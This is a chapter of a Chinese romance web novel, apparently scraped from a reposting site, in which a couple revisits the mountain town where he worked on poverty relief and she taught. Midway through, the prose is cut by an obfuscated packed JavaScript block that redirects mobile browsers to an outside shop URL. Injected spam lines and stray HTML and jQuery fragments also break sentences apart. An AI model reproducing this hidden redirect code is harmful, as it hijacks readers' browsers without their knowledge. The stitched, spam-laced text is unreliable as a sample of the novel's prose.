第79章 番外 朝气蓬勃

作品:《夜雾与雪松

    周覆的裤子没全脱下,只半退到了腿间,做完已经见不了人。


    离开会时间很近了,他飞快地扯掉,走到浴室里冲了个澡。


    再出来时,程江雪仍躺在被单上,裙子揉成一团,纱一样堆在她腰腹上。


    她幅度很小地抽搐着,脸上红晕未消。


    周覆穿好了衣服,怕她着凉,用被子卷住了她。


    “先睡,晚点再洗澡。”他还拍了拍。


    程江雪瞪圆了眼睛:“这怎么睡呀,我马上就起来了,忙你的去吧。”


    周覆也顾不上了:“等我回来,回来我给你跪下。”


    “......”


    四点差五分,他清爽地出现在临时会议室里。


    身上的衣服已经换了一套。


    稍微有点经验的人都能看出来,刚才周主任做过了什么。


    人到齐之前,几个同事在下面交头接耳,不时地发出笑声。


    周覆全当没看见,他正襟危坐,只管翻手边的材料。


    “小周。”秦组长小声问他说,“太太来了,安顿好了吗?”


    “哎,在休息。”周覆也正儿八经地答,“天热了,她给我拿换洗衣服来。”


    秦组长客气地问:“晚上一起吃个饭吧?”


    周覆说:“不用,现在情况特殊,她也不喜欢人多的场合,还是免了吧。”


    “数你谨慎。”


    “老秦,我正要和你说。”周覆挪了下椅子,“我周六请一天假,陪太太去趟白水镇。”


    秦组长点头,但也好奇:“白水镇不是你待过的地方吗?怎么是陪太太去?”


    周覆解释道:“噢,我在那儿扶贫的时候,她正好去支教。”


    “那看来,这镇子还是你的福地了。”


    “谁说不是呢。”


    等他忙完,回到房间时,程江雪正在接导师的电话。


    她架了副无框眼镜,对着电脑嗯嗯哦哦的,浴袍都忙散了。


    说了将近半小时,程江雪才翻着白眼,一脸濒死的表情挂断,然后又是一通修改。


    “怎么了?”周覆也不敢催,说自己饿了。


    这个时候的程江雪简直是个易燃易爆品,一点就要炸。


    她叹了口气,幽怨地说:“老黄好像和我绑定了系统,只要我一出校门,他的警报就会拉响,然后拼命地找我布置事情,每一次都是这样。”


    上个周末也是。


    她跟顾季桐回江城,在家住了一天后,又去苏州玩了趟。


    她俩约好摄影师,穿了旗袍去留园拍照,第一个景还没取完,她导师的信息就来了。


    程江雪拢紧了披肩,蹙着眉坐在回廊下看他的长篇大论,一脸哀怨。


    摄影师眼疾手快


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    ,给她记录了几个别样的镜头。


    顾季桐查看底片时,对她说:“你知道你这样像什么吗?


    “什么呀?程江雪苦着脸问。


    “突然接到紧急任务的王佳芝。


    “......


    周覆坐了过去:“很难的事吗?要不要我帮忙?


    “你?程江雪把镜片拨下来,打量他几眼,“你那套官话就算了,我老板听了倒胃口。


    “......那你饿了吗?我去给你弄点吃的,先垫垫肚子。


    程江雪摇头,她关上笔记本说:“不用麻烦,我去换衣服,我们出去吃,回来再写。


    “好。


    周覆松了口气,总算在没惹**她的情况下,又请动她吃东西了。


    单位里的人听他讲电话,常打趣说:“周主任,要是问话的时候也像对太太这么温柔,这么委婉,就什么事都查不清了。


    周覆抽着烟,笑说:“对太太要像办案一样,我早被开除了。


    晚饭时,程江雪吃着酸汤米线,把留园的事跟周覆讲。


    周覆没吃多少,一直望着她,像看不够似的。


    “照片呢?他给她盛了小半碗饭,“怎么没看你发朋友圈?


    程江雪说:“早就不发了,怕被老板或同学看见。


    周覆赞许地表示:“这说明你确实有当特务的潜质。


    “......


    夫人保密,但有一个人对他不保密。


    周覆又去翻顾季桐的微博小号。


    果真找到几张,程江雪斜倚在红栏杆旁的。


    阳光被雕花木窗筛碎了,轻晃在她脚边,那件玉色软缎旗袍泛着冷光,程江雪垂着眼,眉头始终都展不开,一身的哀婉与冷清,让头顶的绿叶也沉默起来。


    他都保存了下来,并留言:「已点赞,并礼貌取图。另,去酒吧的微博记得删。」


    顾季桐也在线,回他说:「拿了图就少管闲事。」


    周覆私信她,好心提醒了一下:「注意那个深蓝头像。」


    顾季桐立马发了满屏的尖叫猫过来。


    又在末尾问:「是不是老谢?」


    周覆回了个微笑的表情,没说是,也没说不是。


    “跟谁聊天呢?程江雪盯着他问。


    周覆直接把手机推给她:“去你姐们儿那里下了两张图,顺便回馈一下她。


    “你是说,老谢一直窥探她的小号?程江雪看完这短短两句,惊讶地捂着嘴说。


    周覆点头:“我只是猜测,瞄到过一眼而已。


    “什么时候?


    “顾季桐在国外的时候。


    “......真阴,真难防备。


    “可不嘛。周覆笑着喝了口汤,“


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    哪儿来那么多伎俩,挺大岁数了。”


    虽然他也好不到哪儿去,隔三差五就要打探她的消息,让人去学校拍她的照片。


    周六一早,他们从省城出发,临近中午才到镇上。


    白水镇偎在山坳里,一眼望去,满山都是马尾松,青苍苍的。


    崖畔上开了一树白花花的苞片,像一群雪白的鸟儿歇在枝头,翅膀将展未展的。


    “那是什么树?”程江雪坐在车上,指着问,“怎么我没见过?”


    周覆看了一眼,温声说:“珙桐,当地人又叫它鸽子树,它一般在四五月间开花,花期也短,你来的时候是夏天,所以没看过。”


    她点头:“你肯定见过了。”


    “我在这儿待得时间长。”周覆也望出去,“走了一年多,倒没什么变化。”


    镇上的路被春雨洗得发亮,空气里浮动着泥土的腥,还混着些春季独有的,腐木和野花的气味。


    车子开到了白水中学门口,司机帮着把东西搬下来。


    周覆也一起抬了几个大箱子。


    吴校长就住在学校,他披着衣服出来散步,看见这情形,一路小跑着上前。


    他打量周覆,半天才敢认:“周委员?是周委员吧?”


    “是我。老校长,您身体还好吗?”周覆笑着说。


    吴校长不住点头:“好,我挺好的,你怎么回来了?”


    周覆拍了拍身上的灰,说:“走一走,也看看你们,顺便把这些东西送来,程老师个人出资买的书,给孩子们看的。”


    “那小程老师呢?”吴校长东张西望,口里称赞着,“她走之前写的那篇报道,对我们帮助可是太大了!你看这栋宿舍楼,今年一开春,学生已经住进去了,还有正在建的图书馆,都是她......”


    “我在这里。”程江雪从后备厢里探出头。


    她又对司机说:“好啦,就这些,辛苦你了。”


    “不客气。”


    程江雪走到吴校长身边,寒暄道:“今天学校不上课,您也轻快。”


    “是啊。”吴校长说,“你和李老师走了以后,周末就没再补过课了。”


    “这栋宿舍楼是新做的?”程江雪问。


    吴校长点头:“对,我带你们去看看?”


    “好啊。”程江雪指着地上的箱子,“那这些书?”


    “我找两个年轻力壮的来,先放到老师办公室里去。”


    “行。”


    宿舍楼立在校园东北角,像一个刚刚拆开包装的礼物,楼道里还飘着水泥与油漆混合的,崭新的气味。


    墙面是浅灰色的,平整得如一件刚熨烫过的衬衫。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949615|179753||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    楼三层高,男生住北面,女生住南面。


    程江雪只在一楼看


    你身边有不少朋友还没看到本章呢,快去给他们剧透吧


    了看,她问:“彩霞还好吧?”


    她记得,白彩霞是最早在学校住宿的。


    吴校长点头:“好,她今天一早跟我家老太婆出门了。不然还能跟你说两句话,平时就没少问程老师。”


    “没关系。”程江雪笑了笑。


    从学校出来,她跟着周覆一道回了镇政府。


    周六没人上班,只有值班室坐着个年轻干部。


    “小余。”周覆跟他打招呼。


    两年前他才刚考进来,如今也逐渐褪去青涩和稚嫩。


    小余站起来,高兴地说:“周委员,哦,不,周主任回来了。”


    “没事。”周覆拍了拍他的肩,“今天你值班啊?”


    小余说:“对,小毓她女儿生病,我跟她换了一天。”


    “小毓都有女儿了?”程江雪站在一旁问。


    小余说:“对啊程老师,你和周主任不也结婚了吗?”


    周覆笑笑,下意识地牵住他太太:“也是托了大家的福,我才能追上程老师。给你们带了喜糖,周一给大家分分。”


    “哎,好。”


    他们又去了后面宿舍楼。


    三楼那两间已经住了其他人,锁着门,不好再进去了。


    程江雪站在走廊上,望着院里那株老榆树,她想起来好笑:“每次都要抱盆去洗澡,冷天还得跑着出来。”


    “但你都坚持下来了。”周覆挨着她站,下巴点了点她房间,“还有那张床,也承受了不小的压力,差点撞散。”


    “那是因为谁啊?”程江雪抬眸看他,“谁半夜老钻我房里来?”


    “某周姓色胚子呗。”


    “......”


    他们走在村子里,吸引了不少人的目光。


    尤其李支书认出来,大喊了声:“周委员,程老师,你们来了。”


    “来看看你们。”周覆给他派烟,打趣地说,“还抽吗?以前一天两包打不住。”


    “抽,除非挂到墙上不抽!”李支书大笑着说,“我前几天还跟吴委员说,现在想见你都见不到了,远在京城哪!”


    周覆收起烟:“我这不是来了吗!”


    纪律严明,他也不能说这阵子就在省城的事。


    正在地里浇水,帮着妈妈干活的白生南听见,丢下水壶就跑了。


    田埂窄,早上刚洒的水还没干,滑溜溜的。


    但她跑得很快,把几个小水洼踩得濮嗒作响。


    “程老师。”白生南呼哧带喘地站到她面前,仰着一张脸,“你终于回来看我们了。”


    “你怎么跑那么快?”程江雪抽了张纸巾,弯腰给她擦了擦,“出了一头的汗。”


    白生南用袖子揩了一下:“没事,我在给菜地浇水,妈妈马上就要做饭了,你到我家吃饭好不好?”


    “不用了。”程江雪摸着她的脸,“我还要回去,看到你这么健康,我放心多了。”


    比起两年前,她整个人看上去朝气蓬勃。


    酒鬼爸爸**,妈妈也不再终日哭啼,虽然生活依然清贫,但她终于可以像其他孩子一样,专心地坐在教室里学习,也有远大前程可奔赴。


    她的出生不再是个错误,也没人会把她当一件商品,早早地标好价码,只等年纪一到就推出门。


    白生南说:“我每天都跑八百米,怕体测过不了关,我跟吴校长说,我答应你了,中考要考出最好的成绩。”


    “我相信。”程江雪笑着说,“我给你买了个手机,放在吴校长那里了。等考完试,你自己给我打电话,告诉我你多少分,好不好?”


    “好。”白生南用力点头,“老师,我会去县城读高中的,努力考上一所好大学,不辜负你的期望。”


    “有志气。”周覆也走过来,“你程老师最牵挂你,也最看好你。”


    白生南抹了下眼尾:“嗯,我都记在心里,也谢谢周叔叔。”


    她咧着嘴笑,脸上又是要哭的表情。


    眼里亮晶晶的,像把空中的日头都装了进去。